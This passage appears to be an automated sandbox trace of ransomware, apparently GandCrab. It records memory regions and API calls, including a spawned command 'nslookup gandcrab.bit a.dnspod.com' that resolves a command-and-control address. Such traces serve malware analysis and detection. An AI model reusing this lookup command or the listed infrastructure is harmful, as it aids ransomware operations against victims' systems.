5933 start_va = 0x7ff9e7dd0000 end_va = 0x7ff9e7f52fff entry_point = 0x7ff9e7dd0000 region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\System32\\propsys.dll" (normalized: "c:\\windows\\system32\\propsys.dll") Region: id = 5934 start_va = 0x7ff9ebe40000 end_va = 0x7ff9ebedcfff entry_point = 0x7ff9ebe40000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 5935 start_va = 0x7ff9ebee0000 end_va = 0x7ff9ec02dfff entry_point = 0x7ff9ebee0000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 5936 start_va = 0x7ff9ec1f0000 end_va = 0x7ff9ec46bfff entry_point = 0x7ff9ec1f0000 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll") Region: id = 5937 start_va = 0x7ff9ec780000 end_va = 0x7ff9ec8dbfff entry_point = 0x7ff9ec780000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 5938 start_va = 0x7ff9ec8e0000 end_va = 0x7ff9eca20fff entry_point = 0x7ff9ec8e0000 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 5939 start_va = 0x7ff9eca30000 end_va = 0x7ff9ecaedfff entry_point = 0x7ff9eca30000 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 5940 start_va = 0x7ff9ee0a0000 end_va = 0x7ff9ee1c5fff entry_point = 0x7ff9ee0a0000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 5941 start_va = 0x7ff9ee1f0000 end_va = 0x7ff9ee24afff entry_point = 0x7ff9ee1f0000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 5942 start_va = 0x7ff9ee4d0000 end_va = 0x7ff9ee654fff entry_point = 0x7ff9ee4d0000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 5943 start_va = 0x7ff9ee6d0000 end_va = 0x7ff9ee705fff entry_point = 0x7ff9ee6d0000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Thread: id = 227 os_tid = 0x950 Thread: id = 228 os_tid = 0x2e8 Thread: id = 229 os_tid = 0xba8 Thread: id = 230 os_tid = 0xbb4 Process: id = "18" image_name = "nslookup.exe" filename = "c:\\windows\\syswow64\\nslookup.exe" page_root = "0x2ec90000" os_pid = "0x924" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "15" os_parent_pid = "0xa5c" cmd_line = "nslookup gandcrab.bit a.dnspod.com" cur_dir = "C:\\Windows\\system32\\" os_username = "LHNIWSJ\\CIiHmnxMn6Ps" os_groups = "LHNIWSJ\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0001a1d9" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 15472 start_va = 0x310000 end_va = 0x326fff entry_point = 0x310000 region_type = mapped_file name = "nslookup.exe" filename = "\\Windows\\SysWOW64\\nslookup.exe" (normalized: "c:\\windows\\syswow64\\nslookup.exe") Region: id = 15473 start_va = 0x420000 end_va = 0x441ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 15474 start_va = 0x4420000 end_va = 0x443ffff entry_point = 0x0 region_type = private name = "private_0x0000000004420000" filename = "" Region: id = 15475 start_va = 0x4440000 end_va = 0x4441fff entry_point = 0x0 region_type = private name = "private_0x0000000004440000" filename = "" Region: id = 15476 start_va = 0x4450000 end_va = 0x4463fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004450000" filename = "" Region: id = 15477 start_va = 0x4470000 end_va = 0x44affff entry_point = 0x0 region_type = private name = "private_0x0000000004470000" filename = "" Region: id = 15478 start_va = 0x44b0000 end_va = 0x44effff entry_point = 0x0 region_type = private name = "private_0x00000000044b0000" filename = "" Region: id = 15479 start_va = 0x44f0000 end_va = 0x44f3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000044f0000" filename = "" Region: id = 15480 start_va = 0x4500000 end_va = 0x4500fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004500000" filename = "" Region: id = 15481 start_va = 0x4510000 end_va = 0x4511fff entry_point = 0x0 region_type = private name = "private_0x0000000004510000" filename = "" Region: id = 15482 start_va = 0x77460000 end_va = 0x775d8fff entry_point = 0x77460000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 15483 start_va = 0x7f7a0000 end_va = 0x7f7c2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007f7a0000" filename = "" Region: id = 15484 start_va = 0x7f7c9000 end_va = 0x7f7c9fff entry_point = 0x0 region_type = private name = "private_0x000000007f7c9000" filename = "" Region: id = 15485 start_va = 0x7f7cb000 end_va = 0x7f7cdfff entry_point = 0x0 region_type = private name = "private_0x000000007f7cb000" filename = "" Region: id = 15486 start_va = 0x7f7ce000 end_va = 0x7f7cefff entry_point = 0x0 region_type = private name = "private_0x000000007f7ce000" filename = "" Region: id = 15487 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 15488 start_va = 0x7fff0000 end_va = 0x7df9ee76ffff entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 15489 start_va = 0x7df9ee770000 end_va = 0x7ff9ee76ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007df9ee770000" filename = "" Region: id = 15490 start_va = 0x7ff9ee770000 end_va = 0x7ff9ee931fff entry_point = 0x7ff9ee770000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 15491 start_va = 0x7ff9ee932000 end_va = 0x7ffffffeffff entry_point = 0x0 region_type = private name = "private_0x00007ff9ee932000" filename = "" Region: id = 15492 start_va = 0x45f0000 end_va = 0x45fffff entry_point = 0x0 region_type = private name = "private_0x00000000045f0000" filename = "" Region: id = 15493 start_va = 0x73cd0000 end_va = 0x73d1efff entry_point = 0x73cd0000 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 15494 start_va = 0x73d30000 end_va = 0x73da2fff entry_point = 0x73d30000 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 15495 start_va = 0x4760000 end_va = 0x485ffff entry_point = 0x0 region_type = private name = "private_0x0000000004760000" filename = "" Region: id = 15496 start_va = 0x73d20000 end_va = 0x73d27fff entry_point = 0x73d20000 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 15537 start_va = 0x4420000 end_va = 0x442ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004420000" filename = "" Region: id = 15538 start_va = 0x4430000 end_va = 0x4433fff entry_point = 0x0 region_type = private name = "private_0x0000000004430000" filename = "" Region: id = 15539 start_va = 0x4520000 end_va = 0x45ddfff entry_point = 0x4520000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 15540 start_va = 0x4600000 end_va = 0x463ffff entry_point = 0x0 region_type = private name = "private_0x0000000004600000" filename = "" Region: id = 15541 start_va = 0x4640000 end_va = 0x467ffff entry_point = 0x0 region_type = private name = "private_0x0000000004640000" filename = "" Region: id = 15542 start_va = 0x4980000 end_va = 0x498ffff entry_point = 0x0 region_type = private name = "private_0x0000000004980000" filename = "" Region: id = 15543 start_va = 0x73e50000 end_va = 0x73ed3fff entry_point = 0x73e50000 region_type = mapped_file name = "dnsapi.dll" filename = "\\Windows\\SysWOW64\\dnsapi.dll" (normalized: "c:\\windows\\syswow64\\dnsapi.dll") Region: id = 15544 start_va = 0x74070000 end_va = 0x740bdfff entry_point = 0x74070000 region_type = mapped_file name = "mswsock.dll" filename = "\\Windows\\SysWOW64\\mswsock.dll" (normalized: "c:\\windows\\syswow64\\mswsock.dll") Region: id = 15545 start_va = 0x74500000 end_va = 0x74558fff entry_point = 0x74500000 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\SysWOW64\\bcryptprimitives.dll" (normalized: "c:\\windows\\syswow64\\bcryptprimitives.dll") Region: id = 15546 start_va = 0x74560000 end_va = 0x74569fff entry_point = 0x74560000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 15547 start_va = 0x74570000 end_va = 0x7458dfff entry_point = 0x74570000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 15548 start_va = 0x745b0000 end_va = 0x74725fff entry_point = 0x745b0000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 15549 start_va = 0x74730000 end_va = 0x74772fff entry_point = 0x74730000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 15550 start_va = 0x74780000 end_va = 0x7486ffff entry_point = 0x74780000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 15551 start_va = 0x74ba0000 end_va = 0x74c4bfff entry_point = 0x74ba0000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 15552 start_va = 0x74f40000 end_va = 0x74f46fff entry_point = 0x74f40000 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\SysWOW64\\nsi.dll" (normalized: "c:\\windows\\syswow64\\nsi.dll") Region: id = 15553 start_va = 0x75500000 end_va = 0x7555bfff entry_point = 0x75500000 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\SysWOW64\\ws2_32.dll" (normalized: "c:\\windows\\syswow64\\ws2_32.dll") Region: id = 15554 start_va = 0x773a0000 end_va = 0x7745dfff entry_point = 0x773a0000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 15555 start_va = 0x7f6a0000 end_va = 0x7f79ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007f6a0000" filename = "" Region: id = 15556 start_va = 0x7f7c6000 end_va = 0x7f7c8fff entry_point = 0x0 region_type = private name = "private_0x000000007f7c6000" filename = "" Region: id = 15557 start_va = 0x73ff0000 end_va = 0x74001fff entry_point = 0x73ff0000 region_type = mapped_file name = "napinsp.dll" filename = "\\Windows\\SysWOW64\\NapiNSP.dll" (normalized: "c:\\windows\\syswow64\\napinsp.dll") Region: id = 15558 start_va = 0x73dc0000 end_va = 0x73dd5fff entry_point = 0x73dc0000 region_type = mapped_file name = "pnrpnsp.dll" filename = "\\Windows\\SysWOW64\\pnrpnsp.dll" (normalized: "c:\\windows\\syswow64\\pnrpnsp.dll") Region: id = 15559 start_va = 0x73cb0000 end_va = 0x73cc2fff entry_point = 0x73cb0000 region_type = mapped_file name = "nlaapi.dll" filename = "\\Windows\\SysWOW64\\nlaapi.dll" (normalized: "c:\\windows\\syswow64\\nlaapi.dll") Region: id = 15560 start_va = 0x77050000 end_va = 0x7718ffff entry_point = 0x77050000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 15561 start_va = 0x75660000 end_va = 0x757acfff entry_point = 0x75660000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 15562 start_va = 0x4680000 end_va = 0x46a9fff entry_point = 0x4680000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 15563 start_va = 0x4990000 end_va = 0x4b17fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004990000" filename = "" Region: id = 15564 start_va = 0x771f0000 end_va = 0x7721afff entry_point = 0x771f0000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 15565 start_va = 0x748c0000 end_va = 0x749dffff entry_point = 0x748c0000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 15566 start_va = 0x4440000 end_va = 0x4444fff entry_point = 0x4440000 region_type = mapped_file name = "nslookup.exe.mui" filename = "\\Windows\\SysWOW64\\en-US\\nslookup.exe.mui" (normalized: "c:\\windows\\syswow64\\en-us\\nslookup.exe.mui") Region: id = 15567 start_va = 0x4b20000 end_va = 0x4ca0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004b20000" filename = "" Region: id = 15568 start_va = 0x4cb0000 end_va = 0x60affff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004cb0000" filename = "" Region: id = 15569 start_va = 0x45e0000 end_va = 0x45e0fff entry_point = 0x0 region_type = private name = "private_0x00000000045e0000" filename = "" Region: id = 15570 start_va = 0x4680000 end_va = 0x4680fff entry_point = 0x0 region_type = private name = "private_0x0000000004680000" filename = "" Region: id = 15571 start_va = 0x73db0000 end_va = 0x73dbafff entry_point = 0x73db0000 region_type = mapped_file name = "winrnr.dll" filename = "\\Windows\\SysWOW64\\winrnr.dll" (normalized: "c:\\windows\\syswow64\\winrnr.dll") Region: id = 15572 start_va = 0x74010000 end_va = 0x74017fff entry_point = 0x74010000 region_type = mapped_file name = "rasadhlp.dll" filename = "\\Windows\\SysWOW64\\rasadhlp.dll" (normalized: "c:\\windows\\syswow64\\rasadhlp.dll") Region: id = 15573 start_va = 0x74180000 end_va = 0x741affff entry_point = 0x74180000 region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\SysWOW64\\IPHLPAPI.DLL" (normalized: "c:\\windows\\syswow64\\iphlpapi.dll") Region: id = 15574 start_va = 0x74170000 end_va = 0x74177fff entry_point = 0x74170000 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\SysWOW64\\winnsi.dll" (normalized: "c:\\windows\\syswow64\\winnsi.dll") Region: id = 15575 start_va = 0x74020000 end_va = 0x74065fff entry_point = 0x74020000 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\SysWOW64\\FWPUCLNT.DLL" (normalized: "c:\\windows\\syswow64\\fwpuclnt.dll") Region: id = 15576 start_va = 0x73f10000 end_va = 0x73f2afff entry_point = 0x73f10000 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\SysWOW64\\bcrypt.dll" (normalized: "c:\\windows\\syswow64\\bcrypt.dll") Thread: id = 278 os_tid = 0xaf4 [0311.056] GetModuleHandleA (lpModuleName=0x0) returned 0x310000 [0311.056] __set_app_type (_Type=0x1) [0311.056] __p__fmode () returned 0x77454d6c [0311.056] __p__commode () returned 0x77455b1c [0311.056] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x31cf30) returned 0x0 [0311.056] __getmainargs (in: _Argc=0x321888, _Argv=0x32188c, _Env=0x321890, _DoWildCard=0, _StartInfo=0x32189c | out: _Argc=0x321888, _Argv=0x32188c, _Env=0x321890) returned 0 [0311.056] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0311.056] SetThreadUILanguage (LangId=0x0) returned 0x409 [0311.059] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x322120 | out: lpWSAData=0x322120) returned 0 [0311.062] socket (af=2, type=2, protocol=0) returned 0xd0 [0311.062] closesocket (s=0xd0) returned 0 [0311.062] RtlIpv4StringToAddressA () returned 0x0 [0311.063] RtlInitString (in: DestinationString=0x44efc80, SourceString="\\Registry\\Machine\\System\\CurrentControlSet\\Services\\Tcpip\\Parameters" | out: DestinationString="\\Registry\\Machine\\System\\CurrentControlSet\\Services\\Tcpip\\Parameters") [0311.063] RtlAnsiStringToUnicodeString (in: DestinationString=0x44efc88, SourceString="\\Registry\\Machine\\System\\CurrentControlSet\\Services\\Tcpip\\Parameters", AllocateDestinationString=1 | out: DestinationString="\\Registry\\Machine\\System\\CurrentControlSet\\Services\\Tcpip\\Parameters") returned 0x0 [0311.063] NtOpenKey (in: KeyHandle=0x44efcb8, DesiredAccess=0x20019, ObjectAttributes=0x44efc68*(Length=0x18, RootDirectory=0x0, ObjectName="\\Registry\\Machine\\System\\CurrentControlSet\\Services\\Tcpip\\Parameters", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0) | out: KeyHandle=0x44efcb8*=0xd0) returned 0x0 [0311.063] RtlFreeAnsiString (AnsiString="\\") [0311.063] RtlAnsiStringToUnicodeString (in: DestinationString=0x44efc74, SourceString="DNSLookupOrder", AllocateDestinationString=0 | out: DestinationString="DNSLookupOrder") returned 0x0 [0311.063] NtQueryValueKey (in: KeyHandle=0xd0, ValueName="DNSLookupOrder", KeyValueInformationClass=0x1, KeyValueInformation=0x476f0e0, Length=0x400, ResultLength=0x44efc7c | out: KeyValueInformation=0x476f0e0, ResultLength=0x44efc7c) returned 0xc0000034 [0311.063] RtlAnsiStringToUnicodeString (in: DestinationString=0x44efc74, SourceString="Domain", AllocateDestinationString=0 | out: DestinationString="Domain") returned 0x0 [0311.063] NtQueryValueKey (in: KeyHandle=0xd0, ValueName="Domain", KeyValueInformationClass=0x1, KeyValueInformation=0x476f0e0, Length=0x400, ResultLength=0x44efc7c | out: KeyValueInformation=0x476f0e0*(TitleIndex=0x0, Type=0x1, DataOffset=0x20, DataLength=0x2, NameLength=0xc, Name="Domain", Data=""), ResultLength=0x44efc7c) returned 0x0 [0311.063] RtlUnicodeStringToAnsiString (in: DestinationString=0x44efc6c, SourceString="", AllocateDestinationString=0 | out: DestinationString="") returned 0x0 [0311.063] RtlAnsiStringToUnicodeString (in: DestinationString=0x44efc74, SourceString="DhcpDomain", AllocateDestinationString=0 | out: DestinationString="DhcpDomain") returned 0x0 [0311.063] NtQueryValueKey (in: KeyHandle=0xd0, ValueName="DhcpDomain", KeyValueInformationClass=0x1, KeyValueInformation=0x476f0e0, Length=0x400, ResultLength=0x44efc7c | out: KeyValueInformation=0x476f0e0, ResultLength=0x44efc7c) returned 0xc0000034 [0311.063] RtlInitString (in: DestinationString=0x44efc80, SourceString="\\Registry\\Machine\\Software\\Policies\\Microsoft\\Windows NT\\DNSClient" | out: DestinationString="\\Registry\\Machine\\Software\\Policies\\Microsoft\\Windows NT\\DNSClient") [0311.063] RtlAnsiStringToUnicodeString (in: DestinationString=0x44efc88, SourceString="\\Registry\\Machine\\Software\\Policies\\Microsoft\\Windows NT\\DNSClient", AllocateDestinationString=1 | out: DestinationString="\\Registry\\Machine\\Software\\Policies\\Microsoft\\Windows NT\\DNSClient") returned 0x0 [0311.063] NtOpenKey (in: KeyHandle=0x44efca4, DesiredAccess=0x20019, ObjectAttributes=0x44efc68*(Length=0x18, RootDirectory=0x0, ObjectName="\\Registry\\Machine\\Software\\Policies\\Microsoft\\Windows NT\\DNSClient", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0) | out: KeyHandle=0x44efca4*=0x0) returned 0xc0000034 [0311.063] RtlFreeAnsiString (AnsiString="\\") [0311.063] RtlAnsiStringToUnicodeString (in: DestinationString=0x44efc74, SourceString="SearchList", AllocateDestinationString=0 | out: DestinationString="SearchList") returned 0x0 [0311.063] NtQueryValueKey (in: KeyHandle=0xd0, ValueName="SearchList", KeyValueInformationClass=0x1, KeyValueInformation=0x476f0e0, Length=0x400, ResultLength=0x44efc7c | out: KeyValueInformation=0x476f0e0, ResultLength=0x44efc7c) returned 0xc0000034 [0311.063] RtlAnsiStringToUnicodeString (in: DestinationString=0x44efc74, SourceString="DhcpSearchList", AllocateDestinationString=0 | out: DestinationString="DhcpSearchList") returned 0x0 [0311.063] NtQueryValueKey (in: KeyHandle=0xd0, ValueName="DhcpSearchList", KeyValueInformationClass=0x1, KeyValueInformation=0x476f0e0, Length=0x400, ResultLength=0x44efc7c | out: KeyValueInformation=0x476f0e0, ResultLength=0x44efc7c) returned 0xc0000034 [0311.063] gethostname (in: name=0x4982300, namelen=12800 | out: name="LHnIwsj") returned 0 [0311.084] getenv (_VarName="HOME") returned 0x0 [0311.084] RtlIpv4StringToAddressA () returned 0xc000000d [0311.084] RtlIpv6StringToAddressExA (AddressString="a.dnspod.com", Address=0x44efd10, ScopeId=0x44efd20, Port=0x44efd0a) returned 0xc000000d [0311.084] RtlRestoreLastWin32Error () returned 0x2550 [0311.084] getaddrinfo (in: pNodeName="a.dnspod.com", pServiceName=0x0, pHints=0x0, ppResult=0x44efcd8 | out: ppResult=0x44efcd8*=0x476ce38*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname=0x0, ai_addr=0x47762b0*(sa_family=2, sin_port=0x0, sin_addr="112.90.141.215"), ai_next=0x0)) returned 0 [0311.094] FreeAddrInfoW (pAddrInfo=0x476ce38*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname=0x0, ai_addr=0x47762b0*(sa_family=2, sin_port=0x0, sin_addr="112.90.141.215"), ai_next=0x0)) [0311.094] _vsnprintf_s (in: _DstBuf=0x44efbb8, _DstSize=0x1f, _MaxCount=0x1e, _Format="%u.%u.%u.%u.in-addr.arpa.", _ArgList=0x44dfb80 | out: _DstBuf="215.141.90.112.in-addr.arpa.") returned 28 [0311.095] htons (hostshort=0x1) returned 0x100 [0311.095] htons (hostshort=0x1) returned 0x100 [0311.095] socket (af=2, type=2, protocol=0) returned 0x19c [0311.095] connect (s=0x19c, name=0x4980d28*(sa_family=2, sin_port=0x35, sin_addr="112.90.141.215"), namelen=16) returned 0 [0311.096] send (in: s=0x19c, buf=0x44dfbb8*, len=45, flags=0 | out: buf=0x44dfbb8*) returned 45 [0311.096] select (in: nfds=412, readfds=0x44cf7b8, writefds=0x0, exceptfds=0x0, timeout=0x44cf788 | out: readfds=0x44cf7b8, writefds=0x0, exceptfds=0x0) returned 0 [0313.088] printf (_Format="DNS request timed out.\n") returned 23 [0313.088] printf (_Format=" timeout was %d seconds.\n") returned 27 [0313.088] closesocket (s=0x19c) returned 0 [0313.089] RtlIpv4AddressToStringExA () returned 0xc000000d [0313.089] strcpy_s (in: _Dst=0x49811a8, _DstSize=0xc, _Src="UnKnown" | out: _Dst="UnKnown") returned 0x0 [0313.089] LocalAlloc (uFlags=0x40, uBytes=0x60) returned 0x476eff0 [0313.089] strcpy_s (in: _Dst=0x322020, _DstSize=0x100, _Src="UnKnown" | out: _Dst="UnKnown") returned 0x0 [0313.089] __iob_func () returned 0x77451208 [0313.089] FormatMessageA (in: dwFlags=0x900, lpSource=0x0, dwMessageId=0x35, dwLanguageId=0x0, lpBuffer=0x44efa80, nSize=0x0, Arguments=0x44efa84 | out: lpBuffer="¨hw\x04\x94úN\x04¤úN\x045´1") returned 0x7 [0313.089] fprintf (in: _File=0x77451228, _Format="%-7s %s" | out: _File=0x77451228) returned 16 [0313.089] fprintf (in: _File=0x77451228, _Format="\nAddress:" | out: _File=0x77451228) returned 9 [0313.089] inet_ntoa (in=0xd78d5a70) returned="112.90.141.215" [0313.089] fprintf (in: _File=0x77451228, _Format="%c %s" | out: _File=0x77451228) returned 16 [0313.089] fprintf (in: _File=0x77451228, _Format="\n\n" | out: _File=0x77451228) returned 2 [0313.089] RtlIpv4StringToAddressA () returned 0xc000000d [0313.089] RtlIpv6StringToAddressExA (AddressString="gandcrab.bit", Address=0x44efa60, ScopeId=0x44efa70, Port=0x44efa5a) returned 0xc000000d [0313.089] RtlRestoreLastWin32Error () returned 0x2550 [0313.089] RtlIpv4StringToAddressA () returned 0xc000000d [0313.089] RtlIpv6StringToAddressExA (AddressString="gandcrab.bit", Address=0x44ef9e8, ScopeId=0x44ef9f8, Port=0x44ef9e2) returned 0xc000000d [0313.089] RtlRestoreLastWin32Error () returned 0x2550 [0313.089] sprintf_s (in: _DstBuf=0x44ef750, _DstSize=0x202, _Format="%s.%s" | out: _DstBuf="gandcrab.bit.") returned 13 [0313.089] htons (hostshort=0x2) returned 0x200 [0313.089] htons (hostshort=0x1) returned 0x100 [0313.089] socket (af=2, type=2, protocol=0) returned 0x19c [0313.090] connect (s=0x19c, name=0x476f010*(sa_family=2, sin_port=0x35, sin_addr="112.90.141.215"), namelen=16) returned 0 [0313.090] send (in: s=0x19c, buf=0x44df750*, len=30, flags=0 | out: buf=0x44df750*) returned 30 [0313.090] select (in: nfds=412, readfds=0x44cf350, writefds=0x0, exceptfds=0x0, timeout=0x44cf320 | out: readfds=0x44cf350, writefds=0x0, exceptfds=0x0) returned 1 [0313.329] recv (in: s=0x19c, buf=0x44cf710, len=65536, flags=0 | out: buf=0x44cf710*) returned 124 [0313.329] closesocket (s=0x19c) returned 0 [0313.330] htons (hostshort=0x100) returned 0x1 [0313.330] htons (hostshort=0x100) returned 0x1 [0313.330] htons (hostshort=0x300) returned 0x3 [0313.330] htons (hostshort=0x0) returned 0x0 [0313.330] LocalAlloc (uFlags=0x40, uBytes=0x36b20) returned 0x47779a0 [0313.331] sprintf_s (in: _DstBuf=0x44ef750, _DstSize=0x202, _Format="%s.%s" | out: _DstBuf="gandcrab.bit.") returned 13 [0313.331] htons (hostshort=0x3) returned 0x300 [0313.331] htons (hostshort=0x1) returned 0x100 [0313.331] socket (af=2, type=2, protocol=0) returned 0x19c [0313.331] connect (s=0x19c, name=0x476f010*(sa_family=2, sin_port=0x35, sin_addr="112.90.141.215"), namelen=16) returned 0 [0313.331] send (in: s=0x19c, buf=0x44df750*, len=30, flags=0 | out: buf=0x44df750*) returned 30 [0313.332] select (in: nfds=412, readfds=0x44cf350, writefds=0x0, exceptfds=0x0, timeout=0x44cf320 | out: readfds=0x44cf350, writefds=0x0, exceptfds=0x0) returned 1 [0313.547] recv (in: s=0x19c, buf=0x44cf710, len=65536, flags=0 | out: buf=0x44cf710*) returned 100 [0313.547] closesocket (s=0x19c) returned 0 [0313.548] htons (hostshort=0x100) returned 0x1 [0313.548] htons (hostshort=0x0) returned 0x0 [0313.548] htons (hostshort=0x100) returned 0x1 [0313.548] htons (hostshort=0x0) returned 0x0 [0313.548] htons (hostshort=0x100) returned 0x1 [0313.548] htons (hostshort=0x0) returned 0x0 [0313.548] htons (hostshort=0x100) returned 0x1 [0313.548] htons (hostshort=0x0) returned 0x0 [0313.548] htons (hostshort=0x100) returned 0x1 [0313.548] FormatMessageA (in: dwFlags=0x900, lpSource=0x0, dwMessageId=0x31, dwLanguageId=0x0, lpBuffer=0x44efa18, nSize=0x0, Arguments=0x44efa1c | out: lpBuffer="8jw\x04,úN\x04<úN\x045´1") returned 0x5 [0313.548] fprintf (in: _File=0x77451228, _Format="%-7s %s" | out: _File=0x77451228) returned 21 [0313.548] fprintf (in: _File=0x77451228, _Format="\nAddress:" | out: _File=0x77451228) returned 9 [0313.548] inet_ntoa (in=0x6ce9b4e) returned="78.155.206.6" [0313.548] fprintf (in: _File=0x77451228, _Format="%c %s" | out: _File=0x77451228) returned 14 [0313.548] fprintf (in: _File=0x77451228, _Format="\n\n" | out: _File=0x77451228) returned 2 [0313.548] LocalFree (hMem=0x476eff0) returned 0x0 [0313.548] exit (_Code=0) Thread: id = 283 os_tid = 0x90c Process: id = "19" image_name = "conhost.exe" filename = "c:\\windows\\system32\\conhost.exe" page_root = "0x1161000" os_pid = "0xad0" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "18" os_parent_pid = "0x924" cmd_line = "\\??\\C:\\Windows\\system32\\conhost.exe 0xffffffff -ForceV1" cur_dir = "C:\\Windows" os_username = "LHNIWSJ\\CIiHmnxMn6Ps" os_groups = "LHNIWSJ\\Domain Users" [0x7], "Everyone" [0x7], "NT 